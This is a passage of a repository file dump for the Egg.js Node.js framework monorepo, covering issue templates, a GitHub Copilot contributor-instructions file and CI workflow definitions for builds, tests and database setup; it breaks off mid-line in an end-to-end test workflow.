[
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\nopen_collective: eggjs # Replace with a single Open Collective username\n\n\n# github: [ fengmk2, popomore, atian25, dead_horse ] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]\n# patreon: # Replace with a single Patreon username\n# ko_fi: # Replace with a single Ko-fi username\n# tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel\n# community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry\n# liberapay: # Replace with a single Liberapay username\n# issuehunt: # Replace with a single IssueHunt username\n# otechie: # Replace with a single Otechie username\n# custom: # Replace with a single custom sponsorship URL\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug-report-cn.yml",
    "content": "name: 🐛 Egg Bug 反馈\ndescription: 如发现 Egg 框架中的 Bug，请及时在此汇报。\nlabels: [bug]\nbody:\n  - type: textarea\n    attributes:\n      label: |\n        在此输入你需要反馈的 Bug 具体信息（Bug in Detail）：\n      placeholder: |\n        1. 我做了什么。\n\n        2. 我的预期值。\n\n        3. 我实际得到的结果。\n\n        4. 可以的话，请提供一些截图、视频作为附件以复现症状。\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: 可复现问题的仓库地址（Reproduction Repo）\n      description: |\n        1. 请使用 `npm init egg --type=simple bug` 创建最小可复现问题的代码。\n\n        2. 在 GitHub 中上传该代码项目，并在此处粘贴地址。你也可以直接将你的仓库压缩为 zip 文件直接以附件形式提交。\n      placeholder: |\n        https://github.com/YOUR_REPOSITORY_URL\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: Node 版本号：\n      description: |\n        你的当前复现问题的 Node 版本号：\n      placeholder: |\n        使用 “node -v” 命令，在控制台得到版本号（例如：v8.5.0）。\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: Eggjs 版本号：\n      description: |\n        你的当前复现问题 Eggjs 版本号：\n      placeholder: |\n        请直接在“package.json”中查阅（例如：3.1.0）。\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: '相关插件名称与版本号（PlugIn and Name）：'\n      description: |\n        插件名称以及版本号：\n      placeholder: |\n        请直接在“package.json”中查阅（例如：egg-mysql，3.1.1）。\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: '操作平台与版本号（Platform and Version）：'\n      description: |\n        你的操作平台与版本号：\n      placeholder: |\n        Windows 10 专业版（21H2）\n    validations:\n      required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug-report.yml",
    "content": "name: 🐛 Bug Report For Eggjs\ndescription: Report an issue if something isn't working as expected 🤔.\nlabels: [bug]\nbody:\n  - type: textarea\n    attributes:\n      label: |\n        Your detail info about the Bug:\n      placeholder: |\n        1. What I did.\n\n        2. What I expected to happen.\n\n        3. What I actually got.\n\n        4. If possible, images/videos as attachments are welcomed to show the bug.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Reproduction Repo\n      description: |\n        1. Please use `npm init egg --type=simple bug` to create your smallest repo.\n\n        2. Submit it in the GitHub and paste your URL here. You can also attach your zip file directly.\n      placeholder: |\n        https://github.com/YOUR_REPOSITORY_URL or your zip file\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: Node Version\n      description: |\n        What's your Node's version?\n      placeholder: |\n        Use \"node -v\" in your console to get it (e.g: v8.5.0).\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: Eggjs Version\n      description: |\n        What's your Eggjs version?\n      placeholder: |\n        See it directly in your \"package.json\" file (e.g: 3.1.0)\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: Plugin Name and its version\n      description: |\n        What's your plugin's name and version?\n      placeholder: |\n        See them directly in your \"package.json\" file (e.g: egg-mysql, 3.1.1)\n    validations:\n      required: true\n  - type: input\n    attributes:\n      label: Platform and its version\n      description: |\n        What's your platform and its version?\n      placeholder: |\n        Windows 10 Professional(21H2)\n    validations:\n      required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature-request-cn.yml",
    "content": "name: 💡 我有一个新点子\ndescription: 我对 Eggjs 框架有一个新的想法（或许我想来实现他）……\nlabels: [feature request]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        对于 Egg.js 框架，你有一个新的想法？\n        不过在提交你的新点子之前，麻烦请检阅一下是否之前的帖子中有类似重复的内容。\n  - type: textarea\n    attributes:\n      label: 请详细告知你的新点子（Nice Ideas）：\n      placeholder: |\n        1. 您期望能够实现什么功能。\n\n        2. 您的理由（如：我一直被什么问题困扰……）。\n        如果方便的话，请提供截屏或者视频等详细信息。\n\n        3. 我能够做一些什么（最好是能提供一些伪代码帮助实现）。\n    validations:\n      required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature-request.yml",
    "content": "name: 💡 Feature Request For Eggjs\ndescription: I have a suggestion (and may want to implement it)!\nlabels: [feature request]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        You have an idea how to improve the Eggjs?\n\n        Before submitting, please have a look at the existing issues if there's already\n        something related to your suggestion.\n  - type: textarea\n    attributes:\n      label: 'Enter your suggestions in details:'\n      placeholder: |\n        1. What I expected to happen?\n\n        2. Your reason (e.g: I'm always frustrated with...).\n        If possible, images or videos are welcome.\n\n        3. What I plan to do (Optional but better in pseudo codes).\n    validations:\n      required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/rfc-cn.yml",
    "content": "name: 🚀 RFC 提案\ndescription: 我对 Eggjs 框架技术架构功能层面上有重大新增、改进等。\nlabels: [RFC proposal]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        对于 Eggjs 框架功能你是否有重大的新增或改进之类的想法？\n\n        不过在提交你的新想法或方案之前，麻烦请检阅一下是否之前的帖子中有类似重复的内容。\n  - type: textarea\n    attributes:\n      label: 请详细告知你的新解决思路（Your new RFCs）：\n      placeholder: |\n        1. 描述你希望解决的问题的现状，附上相关的 issue 地址。\n        如果方便的话，请提供截屏或者视频等详细信息。\n\n        2. 我能够做一些什么（譬如具体相关的的 API，描述思路，最好是能提供一些伪代码帮助实现）。\n    validations:\n      required: true\n  - type: checkboxes\n    attributes:\n      label: '跟进类型（Follow-up Types）：'\n      description: 此议案跟进类型情况：\n      options:\n        - label: 这是某个任务\n        - label: 这是一个具体的 PR 的地址（URL）\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/rfc.yml",
    "content": "name: 🚀 RFC Proposals\ndescription: I've got a major improvement (or idea) on the technical architecture of the Eggjs framework.\nlabels: [RFC proposal]\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Any better new/changable functions for the core technical architecture of the Egg.js framework?\n\n        But please make sure there's no duplicated issues related to your idea before submitting.\n  - type: textarea\n    attributes:\n      label: 'Please describe your idea in detail:'\n      placeholder: |\n        1. Describe the current situation of the problem you want to solve,\n        and attach the related issue address.\n\n        If it is possible, please provide screenshots or videos in detail.\n\n        2. What can I do (related APIs, Your ideas, better to provide some pseudo code to help implementations).\n    validations:\n      required: true\n  - type: checkboxes\n    attributes:\n      label: Follow-up type\n      description: The type of the RFC proposals.\n      options:\n        - label: Some Task\n        - label: PR URL(s)\n    validations:\n      required: true\n"
  },
  {
    "path": ".github/actions/clone/action.yml",
    "content": "name: 'Clone Repositories'\ndescription: 'Clone self and upstream repositories'\n\ninputs:\n  ecosystem-ci-project:\n    description: 'The ecosystem ci project to clone'\n    required: false\n    default: ''\n\nruns:\n  using: 'composite'\n  steps:\n    - name: Output ecosystem ci project hash\n      shell: bash\n      id: ecosystem-ci-project-hash\n      if: ${{ inputs.ecosystem-ci-project != '' }}\n      run: |\n        node -e \"const fs = require('fs'); const data = JSON.parse(fs.readFileSync('./ecosystem-ci/repo.json', 'utf8')); const project = data['${{ inputs.ecosystem-ci-project }}']; console.log('ECOSYSTEM_CI_PROJECT_HASH=' + project.hash);\" >> $GITHUB_OUTPUT\n        node -e \"const fs = require('fs'); const data = JSON.parse(fs.readFileSync('./ecosystem-ci/repo.json', 'utf8')); const project = data['${{ inputs.ecosystem-ci-project }}']; console.log('ECOSYSTEM_CI_PROJECT_REPOSITORY=' + project.repository.replace('https://github.com/', '').replace('.git', ''));\" >> $GITHUB_OUTPUT\n\n    - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6\n      if: ${{ inputs.ecosystem-ci-project != '' }}\n      with:\n        repository: ${{ steps.ecosystem-ci-project-hash.outputs.ECOSYSTEM_CI_PROJECT_REPOSITORY }}\n        path: ecosystem-ci/${{ inputs.ecosystem-ci-project }}\n        ref: ${{ steps.ecosystem-ci-project-hash.outputs.ECOSYSTEM_CI_PROJECT_HASH }}\n"
  },
  {
    "path": ".github/copilot-instructions.md",
    "content": "# Eggjs Framework - GitHub Copilot Development Instructions\n\n**Always reference these instructions first and fallback to search or additional context gathering only when you encounter unexpected information that does not match the information provided here.**\n\n## Overview\n\nEggjs is a progressive Node.js framework for building enterprise-class server-side applications. Built on top of Koa.js, it provides a plugin system, conventions over configuration, and enterprise-grade features like clustering, logging, and security.\n\nThis is a **pnpm monorepo** with multiple packages using pnpm workspaces and catalog mode for centralized dependency management.\n\n## Prerequisites and Environment Setup\n\n- **Node.js >= 20.19.0 required** - This is a hard requirement\n- Enable pnpm first: `corepack enable pnpm` (installs pnpm v10.16.0)\n- **NEVER CANCEL** any build or test commands - they can take several minutes to complete\n\n## Bootstrap and Build Process\n\n**Always run these commands in sequence after fresh clone:**\n\n```bash\n# 1. Enable pnpm (required first)\ncorepack enable pnpm\n\n# 2. Install all dependencies - takes ~63 seconds. NEVER CANCEL. Set timeout to 120+ seconds.\npnpm install\n\n# 3. Build all packages - takes ~14 seconds. NEVER CANCEL. Set timeout to 60+ seconds.\npnpm run build\n\n# 4. Run linting (optional but recommended) - takes ~2 seconds\npnpm run lint\n```\n\n## Monorepo Structure\n\n### Key Packages (all in `packages/` directory)\n\n- **`packages/egg/`** - Main Eggjs framework (TypeScript, uses tsdown for builds)\n- **`packages/core/`** - Core plugin framework\n- **`packages/utils/`** - Utility functions\n- **`packages/mock/`** - Testing utilities\n- **`packages/cluster/`** - Cluster management\n- **`packages/koa/`** - Koa web framework\n- **`packages/supertest/`** - HTTP testing utilities\n- **`packages/extend2/`** - Object extension utility\n\n### Supporting Directories\n\n- **`examples/`** - Two example apps: `helloworld-commonjs` and `helloworld-typescript` (currently have runtime issues)\n- **`site/`** - Documentation website built with Dumi\n\n## Essential Commands and Timing\n\n### Build Commands\n\n- `pnpm run build` - **Build all packages (~14 seconds). NEVER CANCEL. Set timeout to 60+ seconds.**\n- `pnpm run clean` - Clean all dist directories\n\n### Testing Commands\n\n- `pnpm run test` - **Run all tests (~2 minutes). NEVER CANCEL. Set timeout to 180+ seconds.**\n- `pnpm run test:cov` - **Run tests with coverage (~2 minutes). NEVER CANCEL. Set timeout to 180+ seconds.**\n- `pnpm run ci` - **Run test coverage + build (~2.1 minutes). NEVER CANCEL. Set timeout to 180+ seconds.**\n\n### Linting Commands\n\n- `pnpm run lint` - Run oxlint across all packages (~2 seconds)\n\n### Documentation Commands\n\n- `pnpm run site:dev` - Start documentation dev server at http://localhost:8000\n- `cd site && pnpm run build:skip` - **Build documentation site (~24 seconds). NEVER CANCEL. Set timeout to 60+ seconds.**\n\n### Example Applications (Currently Not Working)\n\n- `pnpm run example:commonjs` - Start CommonJS example (has runtime issues)\n- `pnpm run example:typescript` - Start TypeScript example (has runtime issues)\n\n## Package-Specific Commands\n\nRun commands for specific packages using `pnpm --filter=<package>`:\n\n```bash\n# Examples\npnpm --filter=egg run test\npnpm --filter=@eggjs/core run build\npnpm --filter=site run dev\n```\n\n## Development Workflow\n\n### 1. Making Changes\n\n- Always build packages first: `pnpm run build`\n- Work primarily in `packages/egg/src/` for core framework features\n- Use TypeScript throughout - all packages are TypeScript-based\n- Follow the existing directory conventions in `packages/egg/src/`:\n  - `lib/` - Core classes (Application, Agent, EggApplicationCore)\n  - `app/extend/` - Framework extensions (context, helper, request, response)\n  - `config/` - Default configurations and plugins\n  - `lib/core/` - Core components (httpclient, logger, messenger)\n  - `lib/loader/` - Application loaders\n\n### 2. Validation Steps\n\n**Always perform these validation steps after making changes:**\n\n```bash\n# 1. Build all packages (required)\npnpm run build\n\n# 2. Run linting\npnpm run lint\n\n# 3. Run tests (some failures are expected in fresh environment)\npnpm run test\n\n# 4. Test documentation site\npnpm run site:dev\n```\n\n### 3. Testing Strategy\n\n- **All packages use Vitest for testing** - this is the standard test runner\n- Test files follow pattern: `test/**/*.test.ts`\n- Use `import { describe, it } from 'vitest'` for test functions\n- Use Node.js built-in `assert` module for assertions\n- Create test fixtures in `packages/egg/test/fixtures/apps/` for scenario testing\n\n## Key Framework Concepts\n\n### Architecture\n\n- **EggApplicationCore** - Base application class with core functionality\n- **Application** - Main app class for worker processes\n- **Agent** - Agent process class for background tasks\n- **Context** - Extended Koa context with Egg-specific features\n- **BaseContextClass** - Base for controllers, services, subscriptions\n\n### Loading Convention (Automatic Discovery Order)\n\n1. Plugin system\n2. Configurations\n3. Application/Request/Response/Context extensions\n4. Custom loaders\n5. Services\n6. Middlewares\n7. Controllers\n8. Router\n\n### Cluster vs Single Mode\n\n- **Cluster Mode** (default) - Multi-process with master, agent, and worker processes\n- **Single Mode** - Single process for development/testing\n\n## Working with TypeScript\n\n- All packages use strict TypeScript mode\n- Uses tsdown for unbundled ESM builds (preserves file structure)\n- Each package has `tsdown.config.ts` for build configuration\n- **All sub-project tsconfig.json files MUST extend from root:** `\"extends\": \"../../tsconfig.json\"`\n- Root tsconfig.json includes all packages in `references` array\n\n## pnpm Workspace & Catalog Dependencies\n\n- Dependencies defined in `pnpm-workspace.yaml` catalog section\n- Reference catalog entries: `\"package-name\": \"catalog:\"`\n- Internal workspace dependencies: `\"package-name\": \"workspace:*\"`\n- This ensures consistent versions across all packages\n\n## Common Issues and Troubleshooting\n\n### Test Failures\n\n- Some tests may fail in fresh environments - this is normal\n- Focus on fixing only failures related to your changes\n- Examples may have runtime issues - don't use them for validation\n\n### Build Issues\n\n- Always run `pnpm run build` after making changes\n- TypeScript compilation errors will show clearly\n- Build warnings are generally acceptable\n\n### ESM/CommonJS Issues\n\n- Framework supports both ESM and CommonJS\n- Main package exports both formats\n- If you see \"ERR_UNKNOWN_FILE_EXTENSION\" errors, ensure packages are built first\n\n## File Locations Reference\n\n### Key Configuration Files\n\n- `pnpm-workspace.yaml` - Workspace and catalog configuration\n- `package.json` - Root monorepo scripts and devDependencies\n- `packages/egg/package.json` - Main framework package configuration\n- `packages/egg/tsdown.config.ts` - Build configuration\n- `packages/egg/src/config/plugin.ts` - Built-in plugin configurations\n- `packages/egg/src/config/config.default.ts` - Default framework configuration\n\n### Important Source Files\n\n- `packages/egg/src/lib/application.ts` - Main Application class\n- `packages/egg/src/lib/agent.ts` - Agent process manager\n- `packages/egg/src/lib/egg.ts` - Core EggApplicationCore\n- `packages/egg/src/lib/start.ts` - Application startup logic\n- `packages/egg/src/lib/loader/` - Convention-based loaders\n\n### Build Outputs\n\n- `packages/*/dist/` - Built JavaScript and TypeScript definitions\n- `site/dist/` - Built documentation site\n\n## Validation Scenarios\n\nAfter making changes, always verify:\n\n1. **Build Success**: `pnpm run build` completes without errors\n2. **Linting Passes**: `pnpm run lint` shows no new errors\n3. **Documentation Loads**: `pnpm run site:dev` starts successfully and site loads at http://localhost:8000\n4. **Tests Run**: `pnpm run test` executes (some failures expected, focus on your changes)\n\n**Remember**: This is a complex enterprise framework. Always build first, validate incrementally, and focus on the core packages (`egg`, `core`, `utils`) for most development work.\n\n## Commit Message Format\n\n**CRITICAL: All commits MUST follow the [Angular Commit Message Format](https://github.com/angular/angular.js/blob/master/DEVELOPERS.md#-git-commit-guidelines) as specified in CONTRIBUTING.md.**\n\n### Required Format Structure\n\n```\n<type>(<scope>): <subject>\n<BLANK LINE>\n<body>\n<BLANK LINE>\n<footer>\n```\n\n### Mandatory Types\n\n- **feat**: A new feature\n- **fix**: A bug fix\n- **docs**: Documentation-only changes\n- **style**: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)\n- **refactor**: A code change that neither fixes a bug nor adds a feature\n- **perf**: A code change that improves performance\n- **test**: Adding missing tests\n- **chore**: Changes to the build process or auxiliary tools and libraries such as documentation generation\n- **deps**: Updates about dependencies\n\n### Scope Guidelines\n\n- **Package-specific changes**: Use package names like `core`, `mock`, `cluster`, `utils`, `tsconfig`, `extend2`\n- **Cross-package changes**: Use feature areas like `loader`, `plugin`, `config`, `build`\n- **Component-specific**: Use component names like `application`, `agent`, `context`\n\n### Subject Rules\n\n- Use imperative, present tense: \"change\" not \"changed\" nor \"changes\"\n- Don't capitalize first letter\n- No period (.) at the end\n- Be succinct and descriptive\n\n### Examples\n\n```\nfeat(tsconfig): integrate package into monorepo with vitest\n\nMerge @eggjs/tsconfig repository into packages/tsconfig/ and refactor\nto use vitest testing framework instead of Node.js test runner.\n\n- Update all consuming packages to use workspace:* dependencies\n- Add vitest configuration and convert test assertions\n- Remove external catalog dependency in favor of workspace package\n\nCloses #123\n```\n\n```\nfix(core): resolve loader initialization race condition\n\nThe loader was attempting to initialize plugins before configurations\nwere fully loaded, causing intermittent startup failures.\n\nFixes #456\n```\n\n```\nchore: update dependencies to latest versions\n\nUpdate catalog dependencies and rebuild packages to ensure\ncompatibility with latest versions.\n```\n\n**NEVER commit without following this format - it breaks the project's automated changelog and release process.**\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: CI\n\non:\n  push:\n    paths-ignore:\n      - '**/*.md'\n    branches: [next]\n  pull_request:\n    types: [opened, synchronize]\n    paths-ignore:\n      - '**/*.md'\n    branches: [next]\n  merge_group:\n\npermissions:\n  id-token: write\n  actions: write\n\njobs:\n  typecheck:\n    runs-on: ubuntu-latest\n\n    concurrency:\n      group: typecheck-${{ github.workflow }}-#${{ github.event.pull_request.number || github.head_ref || github.ref }}\n      cancel-in-progress: true\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6\n\n      - name: Install pnpm\n        uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4\n\n      - name: Set up Node.js\n        uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6\n        with:\n          node-version: '24'\n          cache: 'pnpm'\n\n      - name: Install dependencies\n        run: pnpm install --frozen-lockfile\n\n      - name: Run lint\n        run: pnpm run lint\n\n      - name: Check dedupe\n        run: pnpm dedupe --check\n\n      - name: Run typecheck\n        run: pnpm run typecheck\n\n      - name: Run format check\n        run: pnpm run fmtcheck\n\n      - name: Run build\n        run: pnpm run build\n\n      - name: Run site build\n        run: pnpm run site:build\n\n  test:\n    strategy:\n      fail-fast: false\n      matrix:\n        os: ['ubuntu-latest', 'macos-latest', 'windows-latest']\n        node: ['20', '22', '24']\n        # 1-based index\n        shardIndex: [1, 2, 3]\n        shardTotal: [3]\n\n    name: Test (${{ matrix.os }}, ${{ matrix.node }}, ${{ matrix.shardIndex }}/${{ matrix.shardTotal }})\n    runs-on: ${{ matrix.os }}\n\n    concurrency:\n      group: test-${{ github.workflow }}-#${{ github.event.pull_request.number || github.head_ref || github.ref }}-(${{ matrix.os }}, ${{ matrix.node }}, ${{ matrix.shardIndex }}/${{ matrix.shardTotal }})\n      cancel-in-progress: true\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6\n\n      - name: Start Redis (MacOS or Linux)\n        if: ${{ matrix.os == 'macos-latest' || matrix.os == 'ubuntu-latest' }}\n        uses: shogo82148/actions-setup-redis@cff708d63a30aebc0bfaa7276fb709d173f36cb6 # v1\n        with:\n          redis-version: '7'\n          auto-start: 'true'\n\n      - name: Start Redis (Windows via Memurai)\n        if: ${{ matrix.os == 'windows-latest' }}\n        shell: pwsh\n        run: |\n          # retry up to 3 times to handle Chocolatey feed flakiness\n          for ($i = 1; $i -le 3; $i++) {\n            choco install -y memurai-developer.install\n            if ($LASTEXITCODE -eq 0) { break }\n            if ($i -lt 3) {\n              Write-Host \"choco install failed (attempt $i/3), retrying in 15s...\"\n              Start-Sleep -Seconds 15\n            } else {\n              Write-Error \"choco install failed after 3 attempts\"\n              exit 1\n            }\n          }\n\n          # ensure service exists and running (avoid non-zero return code of net start)\n          $svc = Get-Service -Name Memurai -ErrorAction SilentlyContinue\n          if (-not $svc) {\n            Write-Error \"Memurai service not found after install\"\n            exit 1\n          }\n          if ($svc.Status -ne 'Running') {\n            Start-Service -Name Memurai -ErrorAction Stop\n            # wait for 20s until Running\n            $svc.WaitForStatus('Running', '00:00:20')\n          } else {\n            Write-Host \"Memurai already running.\"\n          }\n\n          # wait for 6379 port ready (max ~60s)\n          $deadline = (Get-Date).AddSeconds(60)\n          $ready = $false\n          while ((Get-Date) -lt $deadline -and -not $ready) {\n            try {\n              $client = New-Object System.Net.Sockets.TcpClient\n              $async  = $client.BeginConnect('127.0.0.1', 6379, $null, $null)\n              $ok = $async.AsyncWaitHandle.WaitOne(2000)\n              if ($ok -and $client.Connected) { $ready = $true }\n              $client.Close()\n            } catch { }\n          }\n          if (-not $ready) {\n            Write-Error \"Memurai (Redis) not ready on 127.0.0.1:6379\"\n            exit 1\n          }\n\n          Write-Host \"Memurai is ready on 127.0.0.1:6379\"\n\n      # install and start MySQL (will automatically start mysqld)\n      - name: Start MySQL (macOS or Linux)\n        if: ${{ matrix.os == 'macos-latest' || matrix.os == 'ubuntu-latest' }}\n        uses: shogo82148/actions-setup-mysql@27e74fac04c136a9f4c2dc2ed457df57331b3e0c # v1\n        with:\n          mysql-version: '8'\n          auto-start: 'true'\n      - name: Init DB (macOS or Linux)\n        if: ${{ matrix.os == 'macos-latest' || matrix.os == 'ubuntu-latest' }}\n        run: |\n          mysql -uroot -e \"CREATE DATABASE IF NOT EXISTS test;\"\n\n      - name: Start MySQL (Windows)\n        if: ${{ matrix.os == 'windows-latest' }}\n        shell: pwsh\n        run: |\n          choco install -y mysql\n          refreshenv\n          # MySQL default root has no password, set a password and create database/user\n          # & mysqladmin -u root password root\n          & mysql -uroot -e \"CREATE DATABASE IF NOT EXISTS test;\"\n\n      - name: Install pnpm\n        uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4\n\n      - name: Set up Node.js\n        uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'pnpm'\n\n      - name: Install dependencies\n        run: pnpm install --frozen-lockfile\n\n      - name: Run tests\n        run: pnpm run ci --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}\n\n      - name: Run example tests\n        if: ${{ matrix.node != '20' && matrix.os != 'windows-latest' }}\n        run: |\n          pnpm run example:test:all\n\n      - name: Code Coverage\n        # skip on windows, it will hangup on codecov\n        if: ${{ matrix.os != 'windows-latest' }}\n        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5\n        with:\n          use_oidc: true\n\n  test-egg-bin:\n    strategy:\n      fail-fast: false\n      matrix:\n        os: ['ubuntu-latest', 'windows-latest']\n        node: ['24']\n        # 0-based index\n        shardIndex: [0, 1, 2]\n        shardTotal: [3]\n\n    name: Test bin (${{ matrix.os }}, ${{ matrix.node }}, ${{ matrix.shardIndex }}/${{ matrix.shardTotal }})\n    runs-on: ${{ matrix.os }}\n\n    concurrency:\n      group: test-egg-bin-${{ github.workflow }}-#${{ github.event.pull_request.number || github.head_ref || github.ref }}-(${{ matrix.os }}, ${{ matrix.node }}, ${{ matrix.shardIndex }}/${{ matrix.shardTotal }})\n      cancel-in-progress: true\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6\n\n      - name: Install pnpm\n        uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4\n\n      - name: Set up Node.js\n        uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'pnpm'\n\n      - name: Install dependencies\n        run: pnpm install --frozen-lockfile\n\n      - name: Run tests\n        run: |\n          pnpm build --workspace ./tools/egg-bin\n          pnpm run --filter ./tools/egg-bin ci\n        env:\n          # https://github.com/jamiebuilds/ci-parallel-vars\n          CI_NODE_INDEX: ${{ matrix.shardIndex }}\n          CI_NODE_TOTAL: ${{ matrix.shardTotal }}\n\n      - name: Code Coverage\n        # skip on windows, it will hangup on codecov https://github.com/codecov/codecov-action/issues/1787\n        if: ${{ matrix.os != 'windows-latest' }}\n        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5\n        with:\n          use_oidc: true\n\n  test-egg-scripts:\n    strategy:\n      fail-fast: false\n      matrix:\n        os: ['ubuntu-latest']\n        node: ['22', '24']\n\n    name: Test scripts (${{ matrix.os }}, ${{ matrix.node }})\n    runs-on: ${{ matrix.os }}\n\n    concurrency:\n      group: test-egg-scripts-${{ github.workflow }}-#${{ github.event.pull_request.number || github.head_ref || github.ref }}-(${{ matrix.os }}, ${{ matrix.node }})\n      cancel-in-progress: true\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6\n\n      - name: Install pnpm\n        uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4\n\n      - name: Set up Node.js\n        uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'pnpm'\n\n      - name: Install dependencies\n        run: pnpm install --frozen-lockfile\n\n      - name: Run tests\n        run: |\n          pnpm build\n          pnpm run --filter=./tools/scripts ci\n\n      - name: Code Coverage\n        if: ${{ matrix.os != 'windows-latest' }}\n        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5\n        with:\n          use_oidc: true\n\n  done:\n    runs-on: ubuntu-latest\n    needs:\n      - test\n      - test-egg-bin\n      - test-egg-scripts\n      - typecheck\n    steps:\n      - run: exit 1\n        if: ${{ always() && (contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')) }}\n"
  },
  {
    "path": ".github/workflows/cleanup-cache.yml",
    "content": "name: Cleanup github runner caches on closed pull requests\non:\n  pull_request:\n    types:\n      - closed\n\njobs:\n  cleanup:\n    runs-on: ubuntu-latest\n    permissions:\n      actions: write\n    steps:\n      - name: Cleanup\n        run: |\n          echo \"Fetching list of cache keys\"\n          cacheKeysForPR=$(gh cache list --ref $BRANCH --limit 100 --json id --jq '.[].id')\n          echo \"Cache keys: $cacheKeysForPR\"\n\n          ## Setting this to not fail the workflow while deleting cache keys.\n          set +e\n          echo \"Deleting caches...\"\n          for cacheKey in $cacheKeysForPR\n          do\n              gh cache delete $cacheKey\n          done\n          echo \"Done\"\n        env:\n          GH_TOKEN: ${{ github.token }}\n          GH_REPO: ${{ github.repository }}\n          BRANCH: refs/pull/${{ github.event.pull_request.number }}/merge\n"
  },
  {
    "path": ".github/workflows/e2e-test.yml",
    "content": "name: E2E Test\n\non:\n  push:\n    branches:\n      - next\n    paths-ignore:\n      - '**/*.md'\n  pull_request:\n    branches:\n      - next\n    paths-ignore:\n      - '**/*.md'\n\nconcurrency:\n  group: ${{ github.workflow }}-#${{ github.event.pull_request.number || github.head_ref || github.ref }}\n  cancel-in-progress: true\n\ndefaults:\n  run:\n    shell: bash\n\njobs:\n  e2e-test:\n    name: ${{ matrix.project.name }} E2E test\n    permissions:\n      contents: read\n      packages: read\n    runs-on: ubuntu-latest\n    services:\n      mysql:\n        image: mysql:5.7\n        env:\n          MYSQL_ALLOW_EMPTY_PASSWORD: true\n          MYSQL_DATABASE: cnpmcore\n        ports:\n          - 3306:3306\n        options: --health-cmd=\"mysqladmin ping\" --health-interval=10s --health-timeout=5s --health-retries=5\n      redis:\n        image: redis\n        ports:\n          - 6379:6379\n    strategy:\n      fail-fast: false\n      matrix:\n        project:\n          - name: cnpmcore\n            node-version: 24\n            command: |\n              npm install\n              npm run lint -- --quiet\n              npm run typecheck\n              npm run build\n              npm run prepublishOnly\n\n              # Clean build artifacts to avoid double-loading (src + dist)\n              npm run clean\n\n              # Run the full test suite\n              echo \"Preparing databases...\"\n              mysql -h 127.0.0.1 -u root -e \"CREATE DATABASE IF NOT EXISTS cnpmcore_unittest\"\n              CNPMCORE_DATABASE_NAME=cnpmcore_unittest bash ./prepare-database-mysql.sh\n              CNPMCORE_DATABASE_NAME=cnpmcore bash ./prepare-database-mysql.sh\n              npm run test:local\n\n              # Deployment test: start the app and verify it boots correctly\n              npm run clean\n              npm run tsc:prod\n              # Overlay compiled .js onto source locations so both egg loader\n              # and tegg module scanner find .js files at the expected paths\n              cp -r dist/* .\n              rm -rf dist\n\n              echo \"Preparing database for deployment test...\"\n              mysql -h 127.0.0.1 -u root -e \"CREATE DATABASE IF NOT EXISTS cnpmcore_unittest\"\n              CNPMCORE_DATABASE_NAME=cnpmcore_unittest bash ./prepare-database-mysql.sh\n              CNPMCORE_DATABASE_NAME=cnpmcore bash ./prepare-database-mysql.sh\n\n              EGG_TS_ENABLE=false npx eggctl start --port=7001 --env=unittest --daemon\n              HEALTH_URL=\"http://127.0.0.1:7001/\"\n              START_TIME=$(date +%s)\n              TIMEOUT=120\n              STATUS=\"\"\n              READY=0\n\n              echo \"Waiting for application to become healthy at ${HEALTH_URL} (timeout: ${TIMEOUT}s)...\"\n              while true; do\n                # Capture response body and status code\n                STATUS=$(curl -s -o /tmp/cnpmcore-health-response -w \"%{http_code}\" \"${HEALTH_URL}\" || echo \"000\")\n                echo \"Health check attempt at $(date): 